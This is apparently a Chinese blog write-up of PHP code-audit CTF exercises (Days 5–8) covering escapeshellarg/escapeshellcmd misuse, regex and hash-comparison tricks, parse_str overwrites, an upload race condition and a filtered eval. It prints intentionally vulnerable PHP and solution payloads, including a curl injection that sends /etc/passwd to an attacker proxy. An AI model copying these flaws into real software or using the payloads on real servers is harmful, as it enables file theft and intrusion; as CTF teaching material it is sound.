PHP代码审计Day5-8练习题

文章目录

  • 前言
  • Day5 – escapeshellarg与escapeshellcmd使用不当
    • 解题
      • 第一部分
        • payload:
      • 第二部分
        • payload
  • Day6 - 正则使用不当导致的路径穿越问题
    • 解题
      • payload
  • Day7 - parse_str函数缺陷
    • 解题
  • Day8 - preg_replace函数之命令执行
    • 解题

前言

改自先知社区-红日安全-

Day5 – escapeshellarg与escapeshellcmd使用不当


highlight_file('5.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
var_dump($_GET);
echo '

'
; if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['hongri']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['hongri'])){ $url = $_GET['url']; $urlInfo = parse_url($url); var_dump($urlInfo); echo '

'
; if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){ die( "scheme error!"); } $url = escapeshellarg($url); $url = escapeshellcmd($url); echo $url; system("curl ".$url); } } ?>

解题

第一部分

10行-13行的一串代码

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}

分析下逻辑:

  • 首先第1行循环GET,POST,_COOKIE字符串,依次的的赋予到$__R第2行再判断$$__R是否存在(eg:_ G E T ) , 如 果 存 在 则 将 超 全 局 数 组 里 的 键 赋 予 给 ‘ GET),如果存在则将超全局数组里的键赋予给` GET,k,比较键名名字的变量的值是否与数组键对应的值相等,若相等则unset`(摧毁变量)

利用:

  • 通过GET请求提交flag=test,再POST请求提交_GET[flag]=test.这个时候GET数组中就已经存在GET[flag]=test.当第1行循环到POST时,我们传入的_GET[flag]$$__k中是就为$_GET[flag],而这个的值也是test则就会删除这个变量.就没有经过waf判断
  • 22-23行这个变量又会被创建
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

这样我们提交的_GET[flag]=test,就被提取成了$_GET[flag]=test.
加了点代码演示一下:

还有一个MD5的判断,意思就是变量值不一样,但MD5加密后要相等,利用科学计数法绕过,0e开头的科学计数的值是相等的,所以找MD5加密后开头为0e的

payload:

第二部分

  • 考察利用curl读取文件,主要就是利用escapeshellargescapeshellcmd.
  • curl中存在 -F 提交表单的方法,也可以提交文件。 -F 向服务器POST表单,例如: curl -F "[email protected];type=text/html" url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。
    示范
http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

payload

Day6 - 正则使用不当导致的路径穿越问题


include 'flag.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;
        }
        if ($c < 3) break;
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>

PHP对字符类的定义,具体点这里

[:alnum:] 字母和数字
[:alpha:] 代表任何英文大小写字符,亦即 A-Z, a-z
[:lower:] 小写字母
[:upper:] 大写字母
[:blank:] 水平空白字符(空格和制表符)
[:space:] 所有水平和垂直的空白字符(比[:blank:]包含的范围广)
[:cntrl:] 不可打印的控制字符(退格、删除、警铃...)
[:digit:] 十进制数字
[:graph:] 可打印的非空白字符
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数字 

解题

主要考察了PHP正则表达式的字符类的熟练。

  • 第6行,正则表达式
  if (0 >= preg_match('/^[[:graph:]]{12,}/', password))

匹配可打印字符12个及以上,就是password的长度至少为12

  • 第13-15行,正则表达式
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
    break;

连续的符号、数字、大写、小写,作为一段,至有六段。比如TEst+-TEst01,分为TE,st,+-,TE,st,01这六段

  • 第17-23行,表示为输入的字符串至少含有符号、数字、大写、小写中的三种类型
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
    if (preg_match("/[[:$pt:]]+/", $password))
    $c += 1;
}
if ($c < 3) break;
  • 24行进行了弱比较,利用科学计数法使一长串字符的结果为42

payload

password=42.0e+000000
password=420.00000e-1

Day7 - parse_str函数缺陷


$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo 'flag is here';
}
?>
//uploadsomething.php

header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
EOT;
} else{ echo 'you can not see this page'; } ?>

解题

环境搭建没成功,原文复制

  • 在 index.php 第4行存在 @parse_str($id); 这个函数不会检查变量 $id 是否存在,如果通过其他方式传入数据给变量 $id ,且当前 $id 中数据存在,它将会直接覆盖掉。而在第6行有一段这样代码。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))

PHP Hash比较存在缺陷 ,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。而这里的 md5(‘QNKCDZO’) 的结果是 0e830400451993494058024219903391 。所以payload为?id=a[0]=s878926199a。这样就可以在页面上回显。

echo 'flag is here';
  • 而这题真正的考察点在这里。在 uploadsomething.php 的第3行和第4行有这样两句代码如下:
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false)

这里有个refer判断,判断 refer 是否存在,如果有展现上传页面,如果没有,就返回 you can not see this page 。

据我们所知,通过a标签点击的链接,会自己自动携带上refer字段。然后 携带refer 和 不携带refer ,返回的结果不一样。

携带refer 的情况:
PHP代码审计Day5-8练习题_第1张图片
不携带refer 的情况:
PHP代码审计Day5-8练习题_第2张图片

  • 然后在 uploadsomething.php 的第13行第18行有这样代码如下:
$content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);

这里有一句关键就是 usleep(100000); 这题需要在写入 too slow 之前,访问之前写入的文件,即可获得flag,这里就存在时间竞争问题。但是我们看到其实这里的文件夹路径是固定写死的。
PHP代码审计Day5-8练习题_第3张图片
直接访问会返回 too slow

因此这里的解法是,开Burp的200线程,一个不断发包

http://127.0.0.1/parse_str/uploadsomething.php?filename=flag&content=111

或脚本

import requests as r
r1=r.Session()
while (1):
    r2=r1.get("http://127.0.0.1/parse_str/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag")
    print r2.text
    pass

Day8 - preg_replace函数之命令执行


include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";

?>

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
\\flag.php
function getFlag()
{
echo "HRCTF{f1lt3r_var_1s_s0_c00l}";
}
?>

解题

移步PHP不包括字母,数字和下划线的webshell

你可能感兴趣的:(PHP审计)